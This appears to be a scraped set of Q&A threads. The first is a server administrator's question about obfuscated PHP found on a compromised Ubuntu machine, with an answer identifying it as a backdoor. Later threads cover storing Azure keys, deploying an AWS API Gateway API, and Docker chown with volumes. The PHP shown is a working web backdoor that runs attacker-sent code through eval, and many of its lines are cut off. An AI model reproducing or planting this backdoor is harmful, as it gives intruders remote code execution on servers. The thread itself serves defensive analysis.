@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$
@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$
@$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][27].$GLOBALS['ae767'][56].$GLOBALS['ae767'][2].$GLOBALS['ae767'][6].$GLOBALS['ae767'][2]](0);

$z0503b8 = NULL;
$afb153 = NULL;

$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][92].$GLOBALS['ae767'][35].$GLOBALS['ae767'][91].$GLOBALS['ae767'][2].$GLOBALS['ae767'][27]] = $GLOBALS['ae767'][75].$GLOBALS['ae767'][35].$GLOBALS['ae767'$
global $k5ac67;

function z629f($z0503b8, $mf97830)
{
    $t7aae05 = "";

    for ($u9ce42=0; $u9ce42<$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]]($z0503b8);)
    {
        for ($w21eb399=0; $w21eb399<$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]]($mf97830) && $u9ce42<$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767']$
        {
            $t7aae05 .= $GLOBALS[$GLOBALS['ae767'][56].$GLOBALS['ae767'][92].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75]]($GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][56].$GLOBALS['ae767'][56].$GLOBALS$
        }
    }

    return $t7aae05;
}

function a774bfe($z0503b8, $mf97830)
{
    global $k5ac67;

    return $GLOBALS[$GLOBALS['ae767'][24].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27]]($GLOBALS[$GLOBALS['ae767'][24$
}

foreach ($GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][71].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][82].$GLOBALS['ae767'][91]] as $mf97830=>$sf8707d0)
{
    $z0503b8 = $sf8707d0;
    $afb153 = $mf97830;
}

if (!$z0503b8)
{
    foreach ($GLOBALS[$GLOBALS['ae767'][48].$GLOBALS['ae767'][42].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][66]] as $mf97830=>$sf8707d0)
    {
        $z0503b8 = $sf8707d0;
        $afb153 = $mf97830;
    }
}

$z0503b8 = @$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][2].$GLOBALS['ae767'][82]]($GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][91].$GLOBALS['ae767'][91].$GLOBALS['ae767'][6$
if (isset($z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]]) && $k5ac67==$z0503b8[$GLOBALS['ae767'][35].$GLOBALS['ae767'][81]])
{
    if ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][32])
    {
        $u9ce42 = Array(
            $GLOBALS['ae767'][58].$GLOBALS['ae767'][40] => @$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][6].$GLO$
            $GLOBALS['ae767'][5].$GLOBALS['ae767'][40] => $GLOBALS['ae767'][75].$GLOBALS['ae767'][85].$GLOBALS['ae767'][42].$GLOBALS['ae767'][60].$GLOBALS['ae767'][75],
        );
        echo @$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][27].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][35].$GLOBALS['ae767'][75]]($u9c$
    }
    elseif ($z0503b8[$GLOBALS['ae767'][35]] == $GLOBALS['ae767'][24])
    {
        eval($z0503b8[$GLOBALS['ae767'][56]]);
    }
    exit();
}

```

Clearly we need to harden our Ubuntu installation to prevent this from happening over again. But what in the world does this code do?

# Answer
This is a backdoor type script attempting to get information about global php configuration settings.

`$alphabet` holds (in obfuscated form) the string "base64\_decode". `base64_decode` is a function to unmangle the long base64 encoded $string value into this-:

```
global auth_pass,$color,$default_action,$default_use_ajax,$default_charset,$sort;
global $cwd,$os,$safe_mode, $in;

```

A function with the above code is then created (reading the characters in `"noi"."tcnuf"."_eta"."erc"` spells create\_function) and then executed.

## NOTE

PHP stores lots of useful information in $GLOBALS array, including HTTP requests, environmental settings and server settings. So files such as this are used to extract information from your system and from your user's posts.
> 2 votes

---
Tags: servers
---


# Question
Title: Securely saving AZURE_STORAGE_KEY and storage account name in Linux systems
The `Azure CLI` official documentation states that environmental variables can be used inside bash scripts to store `AZURE_STORAGE_ACCOUNT` and `AZURE_STORAGE_KEY`, like this:

Compared to `AWS CLI` this method is less secure since it stores the `AZURE_STORAGE_KEY` in plain text in the bash script.

`AWS CLI`, on the other hand, saves the key and the secret in encrypted format in user's home folder under `~/.aws` folder.

Does `Azure CLI` provide similar functionality, or is there any better way to store the key safely in the system?

# Answer
> 1 votes
Instead of storing them as variables in the bash script themselves, can you store them as environment variables on the system from which the bash script is executing? This is a pretty common practice that will allow your scripts to execute on different systems without having to modify the script on each and every one.

Not sure what you mean by the AWS cli "saves the key and the secret in encrypted format", but if you look at the credentials file in ~/.aws, your access key and secret access key are both in plain text. I'm not sure how the Azure cli manages profiles, but AWS uses the AWS\_PROFILE environment variable to distinguish which account the cli should execute as.

---
Tags: azure, security, encryption
---


title: API Gateway - How Deploy API works?

text:
# Question
Title: API Gateway - How Deploy API works?
After **creating** API Gateway with two API names and integrating with lambda function,

AWS documentation recommends to **deploy** this API, as shown below:

##

1) What does deploy API mean? How creating API gateway different from deploying API?

2) Does deploy API option internally create Cloud formation template? that creates a stack and deploy

# Answer
> 2 votes
1.) Create API (create-rest-api from the cli) simply creates the API Gateway resource, but it does not create the method, stage, authorizer, etc. for your API Gateway. Deploy API (create-deployment from the cli) will deploy either to an already created stage, or create a new stage for deployment.

2.) No, it will not deploy a CloudFormation stack in your account.

---
Tags: amazon-web-services, aws-lambda, aws-cloudformation
---


# Question
Title: Why does chown not work in RUN command in Docker?
I have the following docker-compose file:

```
version: '2'

networks:
  default:
    driver: bridge

services:

  yii2-app:
    build:
      context: .
      dockerfile: ./Dockerfile-app
    ports:
      - "80:80"
    networks:
      - default
    depends_on:
      - yii2-db
    volumes:
      - "./app:/var/www/app"
      - "./nginx:/etc/nginx/sites-available"
    ...

```

Dockerfile-app:

```
FROM richarvey/nginx-php-fpm

ADD app /var/www/app

RUN rm -Rf /etc/nginx/sites-enabled/*

ADD nginx/site.conf /etc/nginx/sites-available/site.conf

RUN ln -s /etc/nginx/sites-available/site.conf /etc/nginx/sites-enabled/site.conf

RUN cd /var/www/app && \
    composer install

RUN cd /var/www/app && chmod +x yii && \
    cd web && mkdir -p uploads && \
    cd /var/www && chown nginx:nginx -R app/

```

My last command RUN has no effect: chown does not set the nginx files owner. The folder "uploads" also is not created.

When I run `docker-compose build --no-cache` that step is passed:

```
Step 7/7 : RUN cd /var/www/app && chmod +x yii &&     cd web && mkdir -p uploads &&     cd /var/www && chown nginx:nginx -R app/
 ---> Running in 26a918bece47
Removing intermediate container 26a918bece47
 ---> 00db026a461c
Successfully built 00db026a461c
Successfully tagged passport-app_yii2-app:latest

```

However, when I run the workload in the "common" way using `docker-compose up -d` the change is not applied.

Why does my last RUN command not work?

# Answer
Your mkdir and chown commands are RUN when building the image, whereas you then mount `/var/www/app` from a VOLUME, so you are replacing the created and chowned folder with the contents of `./app` on the outside (and thus it's as if the chown didn't work).

If you want to chown the contents of the volume *after it is mounted*, you should place those instructions on a script that is called as the CMD.
> 6 votes

# Answer
I found the reason for the problem. In Docker

> anything after the VOLUME instruction in a Dockerfile will not be able to make changes to that volume.

I define a volume with `"./app:/var/www/app"` and, after that, manipulate it, so it doesn't work.
> 5 votes

---
Tags: docker, docker-compose
---